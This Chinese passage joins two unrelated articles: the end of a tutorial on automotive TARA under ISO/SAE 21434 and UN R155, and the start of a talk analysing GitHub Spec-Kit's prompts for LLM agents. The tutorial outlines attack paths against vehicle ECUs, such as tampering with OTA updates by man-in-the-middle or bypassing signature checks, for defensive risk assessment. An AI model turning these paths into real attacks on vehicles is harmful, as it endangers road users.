注意：整车级影响往往高于零部件级：同一威胁在零部件级可能仅影响局部功能（Operational=Moderate），但在整车集成后可能放大为安全风险（Safety=Severe），所以评级时需要有依据需提供评级准则（CFG，参考21434附录F）和会议纪要（功能安全评估，功能或零部件受到损害时，会不会影响车辆行驶）作为证据

通过详细的损害场景分析和多维度评级，能为后续风险确定提供客观基础，确保高严重度风险得到优先缓解，而且在实践中，可以采用两种分析方向（从损害场景倒推威胁场景、从威胁场景正向扩展损害场景）结合的迭代方式，既能快速聚焦高风险，又能确保覆盖全面，避免单纯依赖经验导致遗漏其他场景

示例：

正向分析（从威胁场景扩展损害场景）

从已知的威胁场景出发，正向推导其成功后可能造成的损害后果：

• 威胁场景

  攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏。

• 扩展损害场景

  篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险

倒推分析（从损害场景倒推威胁场景）

从损害场景出发，倒推可能导致该损害的威胁场景：

• 损害场景：

  篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险
  o 威胁场景1：攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性被破坏
  o 威胁场景2：攻击者伪造合法更新服务器身份，使【ECU1】接受来源不可信的更新包，导致【ECU1】的真实性被破坏
  o …

需要说明的是，每项资产可能有多个网络安全属性，每个属性可能对应一个或多个损害场景，每个损害场景可能对应多个威胁场景，每个威胁场景也可能导致多个损害场景（RQ-15-03 NOTE 3）

TARA输出示例：

四、攻击路径分析（Attack path analysis）

攻击路径分析的目的是详细描述威胁场景如何被实现，包括攻击入口、具体步骤、所需条件以及现有缓解措施，该步骤帮助评估攻击的可行性，并为后续风险确定和安全需求制定提供依据，在实践中，该步骤在21434中给出了2个建议（RQ-15-08 NOTE 1），可根据产品阶段进行单独或结合使用（RQ-15-09 NOTE 3）：

自顶向下方法（top-down），从威胁场景作为起点“顶”，层层分解可能的攻击路径，直到基本攻击步骤，比如，对于威胁场景“篡改OTA更新包”，我们可以从这个顶点出发分解：

• 要实现这个威胁，攻击者必须做到拦截通信（MITM）或者供应链注入

• 拦截通信时可能需要伪造证书或劫持DNS

• 每一步再继续向下，直到不可再分的叶节点， 这种方式常用攻击树来表达：根节点是威胁场景，子节点是子目标，使用AND/OR逻辑连接（AND表示所有子路径必须成功，OR表示任一即可）

由此得知当前树中有1条完整攻击路径（为方便解释，在不考虑continue的情况下）：

• 路径01

  MITM拦截并替换包 + 绕过签名验证（利用签名算法漏洞）

o 下载篡改包方式：MITM（连接车辆网络 → 执行流量劫持 → 替换下载包内容）

o 接受刷写方式：利用签名算法漏洞（已到叶节点）

最终攻击路径描述：攻击者通过连接车辆网络、执行流量劫持并替换下载包内容，让车辆下载篡改后的更新包，同时利用签名算法漏洞绕过验证，使车辆接受并刷写篡改固件

在分析过程中，如果某个路径中的关键环节无法实现（比如需要物理访问但车辆环境受控），或者该环节对整体威胁场景没有实质影响，就可以终止对这一分支的后续分析（RQ-15-08 NOTE 2），避免没必要的深度分析，这种剪枝（pruning）是各类基于树模型分析的常见优化技巧

另外，一个威胁场景通常对应多个攻击路径，比如“篡改OTA更新包”可能有：

• 路径1：远程MITM拦截通信

• 路径2：供应链攻击预装恶意固件

• 路径3：物理访问刷写

自底向上方法（bottom-up），从已知漏洞、弱点或基本攻击步骤出发，向上追溯它可能导致哪些威胁场景，最终评估潜在损害和风险，这种方法特别适合团队已通过渗透测试、代码审计或漏洞扫描获得具体弱点时，这里的“底”是已知的具体漏洞或弱点（而不是抽象的威胁场景），例如：

• ECU固件存在缓冲区溢出漏洞

• 诊断服务未实现安全访问机制

• OTA通信未启用TLS加密

• 网关规则配置错误

例如：假设通过代码审计发现“某个ECU的诊断服务存在缓冲区溢出漏洞”自底向上拆解：

• 这个漏洞能被利用来做什么？ → 注入任意代码或消息（基本攻击步骤）

• 注入任意代码能导致什么威胁场景？ → 伪造诊断消息刷写固件（Spoofing + Tampering）

• 这些威胁场景成功后造成什么损害？ → 刹车系统失效（Safety = Severe）

攻击树表现形式：树是倒着长的，叶节点在底（已知漏洞），向上汇聚到根节点（损害场景）

此处示例图特意采用纯线性描述（不用AND/OR逻辑），以更直观展示其局限性，也就是虽然简单直接，但少了很多可能性（无法表达必须同时满足的条件），可能会导致分析深度不足、覆盖不全

五、攻击可行性评级（Attack feasibility rating）

攻击可行性评级用于量化威胁场景实现的难度，为后续风险值的确定提供客观输入，在21434里定义了四个可行性等级（RQ-15-10，直译，可另行解读）：

• High

  攻击路径可以通过低努力来实现

• Medium

  攻击路径可通过中等努力实现

• Low

  攻击路径可通过高努力实现

• Very Low

  攻击路径可通过很高努力实现

另外还推荐了三种方法确定可行性评级（RC-15-11），可以根据生命周期阶段和可用信息选择（RC-15-11 NOTE 1）：

1、基于攻击潜力方法

通过核心因素打分计算潜力值，再映射到可行性等级（RC-15-12、Annex G），核心因素包括：

经过的时间（攻击需要多长时间）：

≤1 day
≤1 week
≤1 month
≤6 months

专业知识（执行这个攻击需要什么样的熟练度）

业余：与专家或熟练人员相比无知识，没有特定专长
熟练：熟悉产品或系统类型的安全行为
专家：熟悉底层算法、协议、硬件、结构、安全行为、安全运用原理和概念、新攻击定义技术及工具、密码学、产品类型的经典攻击、攻击方法等
多领域多位专家：攻击的不同步骤需要不同领域的专家级专长

信息公开性（原文说的是“对物品或组件的了解”，我觉得这里可以理解为“物品或组件的公开度”）

公开：关于物品或组件的信息能从互联网得到
受限：在开发者组织内部控制并在非披露协议下与其他组织共享的知识
机密：在开发者组织内不同团队之间共享，访问仅限于指定团队成员
严格机密：仅少数人知道，访问受到严格“需知原则”和个人承诺的严格控制

机会窗口（执行这个攻击困不困难）

无限制：通过公共/不受信任的网络实现高可用性，没有任何时间限制（即资产始终可访问），无物理存在或时间限制的远程访问，以及对物品或组件的无限制物理访问
简单：高可用性和有限的访问时间，无需物理存在即可远程访问物品或组件
中等：低可用性，有限的物理或逻辑访问，在不使用特殊工具下对车辆内外部进行物理访问
困难：非常低的可用性，访问程度不实际，无法实施攻击

所需设备（执行这个攻击需要特定设备吗）

普通：攻击者可以随时获得利用所需的设备，该设备可以是产品本身的一部分（例如操作系统中的调试器），也可以是一些开源工具
专业：攻击者不容易获得设备，但可以通过购买或花费时间去开发获得
定制：设备是专门生产的（例如非常复杂的软件），公众不容易获得（例如黑市），或者设备非常专业，以至于其分销受到控制，甚至可能受到限制，或者设备非常昂贵
多种定制：不同步骤需要不同类型的定制设备

评估攻击潜力后，Annex G还提供了Table G.6 — Example aggregation of attack potential作为示例聚合表，用于将五个核心因素的打分汇总成总攻击潜力值

然后将得到的总分映射到可行性等级：

示例：

假设威胁场景“OTA包被篡改”，对其中一条攻击路径（通过车辆WiFi热点执行中间人攻击）使用攻击潜力方法打分：

• 经过的时间：≤1 day，对应分值0

• 专业知识：专家，对应分值6

• 信息公开性：受限，对应分值3

• 机会窗口：中等，对应分值4

• 所需设备：普通，对应分值0

总分加起来是13分，属于10-13的范围，所以攻击可行性等级为Medium

攻击可行性评级结果将与影响评级结合，计算最终风险值，风险值是风险处理决策的重要依据

2、基于CVSS方法

基于CVSS基础指标组的可利用性指标分数计算，包括攻击向量、攻击复杂度、所需权限、用户交互（详见G.3 Guidelines for the CVSS-based approach）

3、基于攻击向量方法

基于攻击向量方法仅基于路径的主要攻击向量评估可行性，其核心思路是攻击者路径越远（逻辑和物理上）可行性评级越高，因为使用互联网的潜在攻击者数量远大于需要物理访问车辆或零部件的攻击者（详见G.4 Guidelines for the attack vector-based approach）

在实际项目中，我主要用的是基于攻击向量方法，所以本文主要介绍基于攻击向量的方法，如果读者希望了解基于攻击潜力或基于CVSS的详细计算方式，可参考G.3 Guidelines for the CVSS-based approach和G.4 Guidelines for the attack vector-based approach

TARA输出示例：

六、风险值确定（Risk value determination）

对于每个威胁场景，必须根据其关联的损害场景的影响等级和关联攻击路径的攻击可行性等级来计算最终的风险值，也就是说，要将影响评级和攻击可行性评级结合来计算威胁场景最终风险值的步骤（RQ-15-15），这一步的核心是使用风险矩阵将两个维度映射到风险等级（根据表8示例，等级从1到5，1表示风险最小），帮助优先排序高风险威胁并决定缓解策略

示例（威胁场景“篡改OTA更新包”）：

• 影响评级：Severe

• 可行性评级：High

• 风险值：按照矩阵，当影响等级是Severe且可行性是High时，风险值为5

风险值的计算并不强制要求用表8矩阵，但方法要一致（必须根据其关联的损害场景的影响等级和关联攻击路径的攻击可行性等级来计算最终的风险值）且要有依据

七、风险处理决策（Risk treatment decision）

风险处理决策是TARA的最后一步，根据威胁场景的风险值，选择合适的处理方式（RQ-15-17），并输出相应的网络安全目标或声明，该步骤的选项包括：

• 消除风险

  移除风险源或放弃引发风险的功能/活动（比如取消或者移除某个引发高风险的功能）

• 降低风险

  通过技术或组织措施降低风险至可接受水平

• 转移风险

  通过合同或保险将风险转移给第三方

• 保留风险

  在风险可接受范围内保留残余风险，但需记录理由作为网络安全声明，并纳入持续监控和漏洞管理

注意：通常风险值为3/4/5的场景不可以选择接受残余风险，必须选择“消除”或“降低”

通过风险处理决策，能将TARA分析结果转化为可执行的安全目标或声明，确保高风险威胁得到有效处置

TARA输出示例：

网络安全概念

网络安全概念阶段（9 Concept）是车辆网络安全工程中的关键环节，其核心任务是将TARA输出的网络安全目标和声明转化为一个针对Item的、整体的、抽象级别的安全设计方案，为后续需求细化、系统实现和验证测试提供指导框架，TARA通过风险处理决策直接输出：

• 网络安全目标

  用于降低不可接受风险的高层要求，是网络安全需求的最高层来源

• 网络安全声明

  对接受或转移风险的理由说明

网络安全概念以此为基础，完成以下工作：

• 描述安全控制措施（RQ-09-08）：
  描述用什么技术或运营手段实现目标
• 定义网络安全需求（RQ-09-09）：
  从安全目标派生安全需求
• 需求分配（RQ-09-10）：
  将需求分配到Item

总的来说，网络安全概念将TARA的“风险是什么、怎么处理”转化为“怎么在架构中防”，确保所有TARA识别的风险得到覆盖，并将分析结果落地到设计中

为了使网络安全活动全链条逻辑清晰、可追溯性强，我非常建议在TARA的风险处理决策后直接衔接网络安全概念部分，通过这种结构，整个风险链条（威胁场景 ->风险值 -> 处理决策 -> 网络安全目标 -> 安全控制措施 -> 网络安全需求）一目了然，这种一体化呈现方式能很大程度上减少文档分散带来的查找成本，提高工作效率，输出示例：

Re-TARA

Re-TARA是指在初始TARA完成后，系统实现、并通过验证测试后，对残余风险进行的重新威胁分析与风险评估，其本质上是TARA方法的迭代应用，目的是确认已实施的安全措施是否有效降低了风险，并评估当前残余风险是否仍可接受，注意，此处的残余风险有两个意思：

• 经过整改后，还是无法解决这个风险

• 经过整改后，已经验证了安全措施有效，但网络安全不是静态的，安全措施只是当前有效不代表以后没有新漏洞、新攻击技术利用，所以此处的验证有效只代表当前状态，所以此时结果是降低风险到可接受，而不是代表“已安全”（无法永远安全），所以此时这一项就成了残余风险，需要后续管理

  怎么做Re-TARA

• 输入材料：

  初始TARA报告、已实现的网络安全需求、验证测试结果、变更记录、新漏洞情报

• 过程：

  1.重新审视威胁场景和攻击路径，评估措施实施后攻击可行性是否降低

  2.重新计算风险值

  3.对残余风险决定“接受”（记录网络安全声明）或进一步措施

• 输出材料：

  1.残余风险列表及网络安全声明（接受理由）

  2.监控计划

结语

TARA作为ISO/SAE 21434定义的核心风险评估方法，其在UN R155法规框架下不仅是技术工具，更是车辆型式认证和CSMS运行的合规基石，通过系统识别资产、威胁、损害、可行性，并最终转化为网络安全目标和需求，TARA确保了风险从识别到缓解的全链条闭环，在实际项目中，TARA需结合法规基准（附录5参考场景）和供应链协作（供应商组件级结果整合），尤其整车级要重点关注集成引入的新风险，持续迭代和监控是保持车辆生命周期网络安全的关健

说明

• 输出的TARA示例图每个都是单独例子，请不要串联

• TARA真的是一个复杂的工作，光粗略的写都能有近万字，其中的过程其实还有很多种方法这里没有提及，请谅解，如果你有我的联系方式，我们可以交流一下

• 重申：TARA有很多方法，如果我讲的跟你想的不一致请不要喷，不好的评论我会删

• ReTARA网络安全不是静态这个概念是之前在某个认证现场跟老外讨论并且后面本人已经做过了的，我觉得是真可以

• TARA需要尽早开展，避免后期大返工（最好是车型立项开始选供应商阶段，OEM提供初步安全需求作为选型标准，签订合同后开始完成TARA，这个过程大概有7-12个月或以上，贯穿整个车型周期）

最后

我是novy，目前在天问实验室从事车联网安全研究以及相关的体系法规认证工作，我们团队主要解决智能汽车的数据通信安全和合规落地等问题，帮助车企和供应商应对国内外法规挑战，希望本文能为大家提供帮助，在车辆网络安全工程中更高效地实现法规符合性和风险控制

参考链接：

R155法规原文：

https://unece.org/transport/documents/2021/03/standards/un-regulation-no-155-cyber-security-and-cyber-security

GRVA对R155法规的解释文档：

https://unece.org/transport/documents/2022/04/working-documents/grva-proposal-amendments-interpretation-document-un

说明参考：

https://novysodope.github.io/2024/12/08/114/#%E8%80%8C%E4%B8%94%E6%81%B6%E8%AF%84%E8%BF%98%E5%8F%AF%E4%BB%A5%E5%88%A0

ISO/SAE21434介绍：

https://blog.csdn.net/qq_33163046/article/details/123524602

阅读原文

跳转微信打开

在这次技术分享中我会借助我这段时间基于LLM的自动化演练能力探索来为大家介绍在自动化演练场景下AI的介入是如何让其发挥更好的效果的

1. 背景

随着agent发展，现在大家正在不断的对agent能力上限来进行探索，虽然在很多人眼中agent就是prompt+tool/functioncall+上下文，但是具体在实现过程中如何构建、如何实现存在着很多实现角度的差异，各种细微的实现以及全新的思路导致最终的整体效果带来的巨大差异，这也就是为什么目前claudecode这类的agent工具仍然没有被撼动

在这次技术分享中我会借助我这段时间基于LLM的自动化演练能力探索来为大家介绍在自动化演练场景下AI的介入是如何让其发挥更好的效果的（技术点、困难），包括我也会介绍目前自动化演练过程中所采用的所谓“意图工程”，即更好的让agent的执行能够理解我们的意图，并且基于我们的意图来进行执行

2. Agent工程带来的范式改变

目前的LLM主要就是生成式AI，本质其实就是预测，LLM作为一个预测引擎，基于我们的输入并基于模型训练的数据和提示词来生成对应的答案给我们，在调用基础大模型的时候本质上我们其实就是在进行一次问答，我们提出问题，然后大模型给出对应的结果。这其中每一步都需要人为的来进行驱动，并通过不断的对话来补充信息以此进行调整，所以如果仅仅依靠不断的与大模型来进行对话的场景下，在业务场景中就比较难有比较好的业务效果。

然而随着外部不断的探索，现在Agent这个词语频繁的出现在各处，包括各种业务场景以及能力的落地都在描述着Agent。那么Agent和生成式AI之间到底有什么样的区别。

本质上我们正在由「预测性AI」向「自动化Agent」进行转型

1. LLM不再仅仅给我们提供一个答案，而是能根据我们给定的目标来进行持续工作，并直至完成

2. 我们不再需要依赖静态训练知识，我们可以让Agent来主动调用工具感知环境

3. 我们不再仅仅是一次性调用，Agent是在一个循环中进行执行，就像ReAct等模式一样我们能够不断的进行「思考-拆解-观测-执行-修正」….

所以在我看来，生成式AI大模型就像是大脑，而Agent更像是一个完整的人，我们通过给Agent工具、上下文、知识库，能够使得Agent能自动化的且不需要人工干预的完成我们的任务

通过外部的整体发展我们也能够发现大家现在从原先的prompt工程慢慢的到了上下文工程，这也侧面的说明了目前Agent的开发、应用已经到了很常见的地步

谷歌这里将Agent分成了level0-level4，目前绝大部分Agent都停留在Level3及以下，Level4的自我进化的Agent目前仍然是大家所探索的方向

Level0->Level4:核心问题推理->连接工具的困难解决者->具备上下文的战略问题解决者->协作的多Agent->自我进化的Agent

所以在Agent盛行的当下，功能的实现逐渐从原有的代码实现转而向以自然语言沟通的方式来解决问题，所以Agent能有效理解我们的意图、并且有效的执行在我看来是最关键的两个部分。

在解决任务的过程中，我将其拆分成了两个部分：1.意图的理解2.意图的执行。外部绝大部分其实都聚焦在意图的执行侧，例如ClaudeCode、Codex这类的工具，大家平时也经常在使用。

但是在意图的表达目前绝大部分其实都是通过人通过自然语言与Agent工具来不断的沟通交互来实现，由于我们人在表述问题的过程中会遗漏很多理所当然的事情，所以我们过程中会不断的通过自然语言来进行纠正。

所以我期望在业务落地场景中，是能够自动化的将我们的意图进行准确的理解，同时完成有效的任务执行。所以接下来我会先以外部的经典项目来介绍意图理解和意图执行这两个部分，并最终介绍自动化演练过程中是如何实践落地的。

我们期望最终的Agent项目能够准确执行我们的初始意图，不产生偏离，同时也能高效的完成任务执行，并能在一定程度上实现自我的纠错

3. 意图理解：Spec-Kit

项目介绍

项目名称：Spec-Kit

项目链接：https://github.com/github/spec-kit

项目描述：

Spec-Kit这个项目的主要是将我们输入模糊的意图通过借助Prompt、Agent以及模版的方式将一个模糊的想法转化为结构化的规范、详细的实现计划,然后结合Prompt和Spec-kit中所携带的工具来实现让Agent在执行过程中按照先前制定的计划进行依次执行。

虽然有可能大家看到prompt+Agent+Template就会觉得好像平平无奇，但是这个工具所体现出来的思想我觉得是非常先进的。AI使用效果差异大的一个重要原因是用户缺乏对大模型能力边界的把握，无法清楚表达需求，没有给大模型提供充足准确的信息。

• 传统模式：用户需求->AI自由发挥->代码->bug修复

• SpecKit模式：宪法->规格->计划->任务->约束化实现->可预测结果

因此Spec-Kit通过各种限制，从而实现能够让AI最终执行能尽可能的按照我们的意图来进行执行，从而实现AI整体结果的可预测性，在分析了这个项目的整体流程之后，我这边列出我觉得比较优势的两个点，并会在这个章节中进行介绍

1. Question1:Spec-Kit是如何将模糊的意图转化成具体可执行的结构化任务清单的

2. Question2:Spec-Kit是如何尽可能的让整体的开发过程尽可能不偏离我们初始输入的意图

3.1 Question1:模糊意图结构化转化

在spec-kit中主要分为3个阶段来将我们输入的模糊的意图来实现结构化拆解

阶段一：用户意图拆解为用户Story

借助spec-kit内置的template模版文件以及对应的prompt，从而实现将我们输入的初始需求拆分成多个Story（可理解为模块）

核心的prompt如下:大致就是基于输入提取关键的动作，然后生成对应的描述，并且在prompt中约束了格式，然后将内容填充到预先设定的template-spec.md文件中

这里的prompt编写其实非常值得学习，最核心的部分其实就是让LLM去准确的理解我们的意图

###执行流
1.从输入中解析用户描述
如果为空：错误"未提供功能描述"
2.从描述中提取关键概念
识别：参与者、动作、数据、约束
3.对于不清楚的方面：
—根据上下文和行业标准做出合理推断
—仅在以下情况下标注为[需要澄清：具体问题]：
—该选择会显著影响功能范围或用户体验
—存在多种合理的解释，且各自带来不同的影响
—没有合理的默认选项
-**限制：最多3个[需要澄清]标记**
-优先按影响排序澄清事项：范围>安全/隐私>用户体验>技术细节
4.完成“用户场景与测试”部分
如果没有清晰的用户流程：错误“无法确定用户场景”
5.生成功能需求
每一项需求都必须可被测试
对于未指明的细节使用合理的默认值（在“假设”一节中记录假设）
6.定义成功标准
创建可衡量的、与技术无关的结果
包含定量指标（时间、性能、体量）和定性衡量（用户满意度、任务完成度）
每个标准必须可以在不涉及实现细节的情况下被验证
7.确定关键实体（如果涉及数据）
8.返回：SUCCESS（规格已准备好用于规划）
###用于人工智能生成
在根据用户提示创建此规范时：
1.**做出有根据的猜测**：使用上下文、行业标准和常见模式来填补空白
2.**记录假设**：在“假设”部分记录合理的默认值
3.**限制澄清次数**：最多3个[NEEDS CLARIFICATION]标记——仅用于对关键决策：
-对功能范围或用户体验有重大影响
-存在多种合理的解释且各有不同影响
-缺乏任何合理的默认选项
4.**优先澄清事项**：范围>安全/隐私>用户体验>技术细节
5.**像测试人员一样思考**：每一项模糊的需求都应在“可测试且明确”检查项中判为不通过
6.**常见需澄清的领域**（仅在不存在合理默认值时）：
-功能范围和边界（包含/排除的具体用例）
-用户类型和权限（如果可能存在多种相互冲突的解释）
-安全/合规要求（在法律/财务上具有重要意义时）

模版和prompt输入，LLM就能够根据我们的预定义实现填词，通过填词的方式来让生成对应的护栏

#功能规范
：[FEATURE NAME]
**功能分支**：`[###-feature-name]`
**创建日期**：[DATE]
**状态**：草案
**输入**：用户描述：“$ARGUMENTS”
##用户场景与测试
（*必填*）
<!--
重要：用户故事应按重要性优先排序，作为按优先级排列的用户旅程。-->
每个用户故事/旅程必须能够独立测试——意思是即使你只实现其中一个，
你仍然应该有一个可行的 MVP（最小可行产品），能提供价值。
为每个故事分配优先级（P1、P2、P3 等），其中 P1 最为关键。
把每个故事当作一个独立的功能切片，能够：
-独立开发
-独立测试
-独立部署
-独立向用户演示
-->
###用户故事1
-[简短标题]（优先级：P1）
[用通俗语言描述该用户流程]
**为何为此优先级**：[解释其价值以及为何具有此优先级级别]
**独立测试**：[描述如何独立测试——例如，“可以通过[具体操作]进行全面测试，并提供[具体价值]”]
**验收场景**：
1.**假设**[初始状态]，**当**[动作]，**那么**[预期结果]
2.**假设**[初始状态]，**当**[动作]，**那么**[预期结果]
---
###用户故事2
-[简要标题]（优先级：P2）
[用通俗语言描述该用户流程]
**为何为此优先级**：[解释其价值以及为何具有此优先级级别]
**独立测试**：[描述如何可以独立测试此项]
**验收场景**：
1.**假设**[初始状态]，**当**[动作]，**那么**[预期结果]
---
###用户故事3
-[简要标题]（优先级：P3）
[用通俗语言描述该用户流程]
**为何为此优先级**：[解释其价值以及为何具有此优先级级别]
**独立测试**：[描述如何可以独立测试此项]
**验收场景**：
1.**假设**[初始状态]，**当**[动作]，**那么**[预期结果]
---
[根据需要添加更多用户故事，每个用户故事应分配一个优先级]
###边缘情况
<!--
需要操作：本节内容为占位符。
用正确的边界情况来填充它们。
-->
-当[边界条件]发生时会怎样？
-系统如何处理[错误场景]？
##要求
*(必填)*
<!--
需要操作：本节内容为占位符。
请用正确的功能性需求来填充这些内容。
-->
###功能性需求
-**FR-001**：系统必须[具体功能，例如，“允许用户创建账户”]
-**FR-002**：系统必须[具体功能，例如，“验证电子邮件地址”]
-**FR-003**：用户必须能够[关键交互，例如，“重置他们的密码”]
-**FR-004**：系统必须[数据要求，例如，“持久化用户偏好”]
-**FR-005**：系统必须[行为，例如，“记录所有安全事件”]
*示例：标记不清晰的需求*
-**FR-006**：系统必须通过[需澄清：未指定认证方式——电子邮件/密码、单点登录、OAuth？]对用户进行身份验证
-**FR-007**：系统必须保留用户数据[需澄清：未指定保留期限]
###关键实体
*(如果功能涉及数据则包含)*
-**[Entity1]**：[它代表什么，关键属性（不含实现细节）]
-**[Entity2]**：[它所代表的内容，与其他实体的关系]
##成功标准
*（必填）*
<!--
需要采取的行动：定义可衡量的成功标准。-->
这些必须与技术无关且可测量。
-->
###可衡量的结果
-**SC-001**：［可衡量的指标，例如，“用户可在2分钟内完成账户创建”］
-**SC-002**：[可衡量指标，例如，“系统在不降级的情况下处理1000名并发用户”]
-**SC-003**：[用户满意度指标，例如，“90%的用户在第一次尝试时成功完成主要任务”]
-**SC-004**：[业务指标，例如，“将与[X]相关的支持工单减少50%”]

最终生成的部分spec.md内容,在内容中有对应故事名称、优先级、验证标准等，所以通俗的来说阶段一是将我们输入的初始需求拆解成多个模块

并且当生成spec.md过程中spec-kit还通过使用[NEEDSCLARIFICATION]标志符，来让用户澄清对应的内容，从而避免Agent理解的偏差

下面是最终生成的部分内容

###用户故事2
-上下文管理与共享（优先级：P1）
代理需要维护各自的上下文和记忆，同时能够与其他代理共享相关信息。上下文必须使用文件系统在会话之间持久保存。
**为什么优先**：核心需求——明确指出处理上下文和记忆信息的能力为必需。
**独立测试**：可以通过让代理进行对话、持久化其上下文，并在框架重启后验证记忆检索来进行完整测试。
**验收场景**：
1.**前提**代理有先前的对话上下文，**当**代理处理新消息时，**则**代理使用已存储的记忆保持上下文连续性
2.**前提**多个代理在一个共享任务上工作，**当**一名代理更新任务上下文时，**则**其他代理可以通过文件系统访问更新后的上下文
---

阶段二：基于模块信息设计对应的记录框架和路线

后面的逻辑其实都是类似的，也是通过prompt+template的方式来进行拆解，这里就不过多阐述了

部分摘要

#实施计划
：多代理框架
**分支**：`001-multi-agent-framework`|**日期**：2025-12-15|**规范**：[spec.md](spec.md)
**输入**：来自`/specs/001-multi-agent-framework/spec.md`的功能规范
**注意**：此模板由`/speckit.plan`命令填充。有关执行工作流，请参见`.specify/templates/commands/plan.md`
##概要
在Python中创建一个通用的多代理框架，使用基于文件系统的上下文和记忆管理。该框架将支持最多100个并发代理，具有各自的上下文存储、代理间通信、记忆持久化和任务协调能力。所有上下文和记忆信息将使用文件系统存储，而不是数据库。
##技术背景
**语言/版本**：Python3.11+
**主要依赖**：asyncio、aiofiles、pydantic、watchdog
**存储**：使用 JSON/YAML 的文件系统和结构化目录
**测试**：pytest、pytest-asyncio、pytest-mock
**目标平台**：Linux/macOS/Windows服务器
**项目类型**：带有命令行界面的单个Python包
**性能目标**：100个并发代理，99.9%的消息传递延迟<100ms，内存检索<500ms
**约束**：仅使用基于文件系统的存储，不使用外部数据库，安全处理并发文件访问
**规模/范围**：100个并发代理，每个代理10,000条记忆条目，1000+并发文件操作

阶段三：基于模块（story）生成对应的具体可执行任务

在第三阶段中将先前的信息都作为上下文进行读取，并最终构建各个阶段，并且在每个阶段下定义最小化的执行任务，核心prompt如下

先前所有的操作都直接操作文档，所以可以看到下面的prompt中直接让agent去加载了文件，这样其实也能进行上下文的节省

1.**设置**：在仓库根目录运行`.specify/scripts/bash/check-prerequisites.sh --json`并解析 FEATURE_DIR 和 AVAILABLE_DOCS 列表。所有路径必须为绝对路径。对于参数中包含单引号的情况，比如"I'm Groot"，请使用转义语法：例如'I'\''m Groot'（如果可能也可用双引号："I'm Groot"）。
#
#用户输入
2.**加载设计文档**：从 FEATURE_DIR 读取：
```text
$ARGUMENTS
```
—**必需**：plan.md（技术栈、库、结构）、spec.md（带优先级的用户故事）
您在继续之前**必须**考虑用户输入（如果不为空）。
—**可选**：data-model.md（实体）、contracts/（API 端点）、research.md（决策）、quickstart.md（测试场景）
#
#大纲
—注意：并非所有项目都包含所有文档。请根据可用内容生成任务。
3.**执行任务生成工作流**：
—加载 plan.md 并提取技术栈、库、项目结构
—加载 spec.md 并提取带有优先级的用户故事（P1、P2、P3 等）
—如果存在 data-model.md：提取实体并映射为用户故事
—如果存在 contracts/：将端点映射为用户故事
—如果存在 research.md：为设置任务提取决策
—按用户故事生成任务（见下方的任务生成规则）
—生成显示用户故事完成顺序的依赖图
—为每个用户故事创建并行执行示例
—验证任务完整性（每个用户故事都具有所有所需任务，且可独立测试）
4.**生成 tasks.md**：使用`.specify/templates/tasks-template.md`作为结构，填写内容：
—更正 plan.md 中的功能名称
—第1阶段：设置任务（项目初始化）
—第2阶段：基础任务（阻塞所有用户故事的前置条件）
—第3阶段及以后：每个用户故事一个阶段（按照 spec.md 中的优先级顺序）
-每个阶段包括：故事目标、独立测试标准、测试（如有要求）、实现任务
-最终阶段：完善与跨领域关注点
-所有任务必须遵循严格的清单格式（见下方任务生成规则）
-为每个任务提供明确的文件路径
-显示故事完成顺序的依赖关系部分
-每个故事的并行执行示例
-实施策略部分（先最小可行产品，逐步交付）
5.**报告**：输出生成的 tasks.md 的路径和摘要
-总任务数量
-每个用户故事的任务数量
-识别的并行机会
-每个故事的独立测试标准
-建议的最小可行产品范围（通常仅限用户故事1）
-格式验证：确认所有任务都遵循清单格式（复选框、ID、标签、文件路径）
任务生成的上下文：$ARGUMENTS
tasks.md 应当可以立即执行——每个任务必须足够具体，以便 LLM 在无需额外上下文的情况下完成。

拆分后的具体任务，并且每个都有完成的标准

3.2 Question2:AI执行结果可预测

这里的整体逻辑主要是给AI设置各种护栏和标准，我在阅读这个项目的时候就尝试在想，spec-kit这个项目是如何让整体的执行流程符合预期的

其实最核心的就是在执行的过程中我们需要有很多阶段、任务执行成功与否的判定标准，以及告诉agent有哪些是不能做的。

在spec-kit中在最上游定义了宪法.md通过引入了多条准则，通过以法令的约束来禁止agent执行额外的操作

在一开始执行初期就会构建宪法

同时在最终执行任务的过程中时，通过checkpoint来制定任务是否完成的标准，通过以phase的方式来进行验证check，从而方式在整体运行过程中符合我们的意图

但是如何去做校验呢？通过prompt和agent的方式是否也是一种弱校验的形式，会不会在校验的过程中存在所谓的幻觉呢，这也是我在阅读这个项目中最关注的点，那么首先让我们来看一下这个项目中是如何做校验的吧

通过阅读可以发现，在这个项目中采用的是prompt的形式来要求agent来进行约束

在执行过程中会首先检查是否所有的checklist都执行完成，agent会检查所有规范的md中的[]是否都已被标记完成，只有把所有任务都完成了才会开始进行执行，这里算是第一阶段的校验，即事前规范的校验

如果存在没有完成的任务的话，那么会进行checklist校验

在执行过程中的校验通过下面的核心prompt来进行完成

下面的这些类似prompt我觉得也非常值得学习，特别是执行期间的动态标记这部分，能够很好的提升Agent整体的效果（[]->[X]）相当于始终有一个进度跟踪

5.解析 tasks.md 的结构并提取：
—**任务阶段**：设置、测试、核心、集成、润色
—**任务依赖**：顺序与并行执行规则
—**任务详情**：ID、描述、文件路径、并行标记[P]
—**执行流程**：顺序和依赖要求
6.根据任务计划执行实现：
—**分阶段执行**：完成每个阶段后再进入下一阶段
—**遵守依赖关系**：按顺序运行串行任务，标记为[P]的并行任务可以同时运行
—**遵循 TDD 方法**：在相应的实现任务之前执行测试任务
—**基于文件的协调**：影响相同文件的任务必须按顺序运行
—**验证检查点**：在继续之前核实每个阶段的完成情况
7.实施执行规则：
—**先搭建环境**：初始化项目结构、依赖、配置
—**先写测试**：如果需要为合约、实体和集成场景编写测试
-**核心开发**：实现模型、服务、CLI 命令、端点
-**集成工作**：数据库连接、中间件、日志记录、外部服务
-校对与验证：单元测试、性能优化、文档
8.进度跟踪与错误处理：
-在每个完成的任务后报告进度
-若任何非并行任务失败则停止执行
-对于并行任务[P]，继续处理已成功的任务，并报告失败的任务
-提供带有上下文的清晰错误信息以便调试
-如果无法继续实现，建议下一步措施
-**重要**对于已完成的任务，确保在任务文件中将任务标记为[X]
9.完成验证：
-验证所有必需的任务已完成
-检查已实现的功能是否与原始规范相符
-验证测试通过且覆盖率满足要求
-确认实现符合技术方案
